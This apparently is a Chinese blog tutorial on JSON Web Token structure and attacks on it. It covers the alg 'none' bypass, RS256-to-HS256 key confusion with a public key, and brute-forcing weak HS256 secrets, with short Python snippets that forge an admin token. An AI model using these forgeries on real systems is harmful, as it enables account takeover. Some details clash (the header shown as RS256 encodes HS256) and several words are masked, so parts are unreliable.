JSON WEB TOKEN-----jwt

一，JWT介绍
JSON WEB TOKEN-----jwt
JSON Web Token（JWT）是目前最流行的跨域身份验证解决方案。是一个开放标准(RFC 7519)，它定义了一种紧凑的、自包含的方式，用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任，因为它是数字签名的。
二，JWT的原理
服务器认证后，生成一个JSON对象，发回给用户。就像下面一样。

{
	“姓名”：“FFM-G”,
	“时间”：“2019年5月”
}

三：JWT的数据结构

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ.wBWpv0FNU_BIZqK0OdockoR2nzRRJT9gTWPXvMd497k

上面这个就是一个JWT。他是一个很长的字符串，一共分为三部分，每部分用（.）分割。

三部分依次如下：

header(头部)
payload(负载)
Signature（签名）
也就是说Header.Payload.Signature
jwt 解码https://jwt.io/
第一部分，头部headereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

{
  "alg": "RS256",
  "typ": "JWT"
}

alg表示签名的算法，默认为HS256，或者是RSA
typ表示token的类型。
对header部分进行base64url编码，编码后就是eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
第二部分：负载payloadeyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ

{
  "name": "Poooo",
  "priv": "admin"
}

可见可以看到用户名和用户，因此不要在jwt中的header和payload中放置敏感的信息，除非他们本身是加密的。
对payload部分进行base64url编码，编码后就是payloadeyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ
第三部分：签名signaturewBWpv0FNU_BIZqK0OdockoR2nzRRJT9gTWPXvMd497k
Signature 部分是对前两部分的签名，目的是：防止数据篡改。
首先，需要指定一个**（secret）。这个**只有服务器才知道，不能泄露给用户。然后，使用 Header 里面指定的签名算法（默认是 HMAC SHA256），按照下面的公式产生签名。

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

算出签名以后，把 Header、Payload、Signature 三个部分拼成一个字符串，每个部分之间用"点"（.）分隔，就可以返回给用户。
base64url:这个编码其实和base64大体上并没有多少变化，只是有时token会在url中传输，例如：www.xxxx.com?token=xxxx 因为base64中的+ = /会在url中有特殊的含义，所以要进行替换。=会被省略 +替换为 - ，/替换为 _。这就是base64url编码。

四：攻击jwt
1,敏感信息泄露
因为jwt是明文传输，所以payload容易存在敏感信息泄露。

2，修改算法为none
签名算法是为了后端进行签名校验，所以修改alg算法为none，后端就不会进行签名校验。直接可以将token中的signaturn数据（只留下header+’.’+payload+’.’）提交到服务器即可。
这种攻击的例子可以参考：http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
案例如下：

import jwt
import base64

# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}

# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}

def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

# 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    '.' + b64urlencode("{\"data\":\"test\"}") + '.'

结果如下：
JSON WEB TOKEN-----jwt

3，修改算法RS256为HS256
算法RS256是非对称算法，所以使用私钥对信息进行签名，使用公钥进行验证。
算法HS256是对称算法，只需要使用秘***对每条信息进行签名和验证。
案例如下：
如果将算法从RS256更改为HS256，后端代码会使用公钥作为秘***，然后使用HS256算法验证签名，从而伪造token通过验证。

import jwt
import base64
public = open('pubkey.txt', 'r').read() #pubkey.txt为公钥
print jwt.encode({"name": "Poooo","priv": "admin"}, key=public, algorithm='HS256')

4，HS256（对称加密）****
如果HS256**强度较弱，可以直接暴力**，如PyJWT库样例代码中使用secret字符串当做**

那么暴力猜解**，当**正确则解密成功，**错误解密代码抛出异常

可使用PyJWT或 John Ripper进行**测试
PyJWT库 https://github.com/jpadilla/pyjwt


>>> import jwt

>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')

'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'

>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])

{'some': 'payload'}

参考：https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html
http://www.cnblogs.com/dliv3/p/7450057.html

相关推荐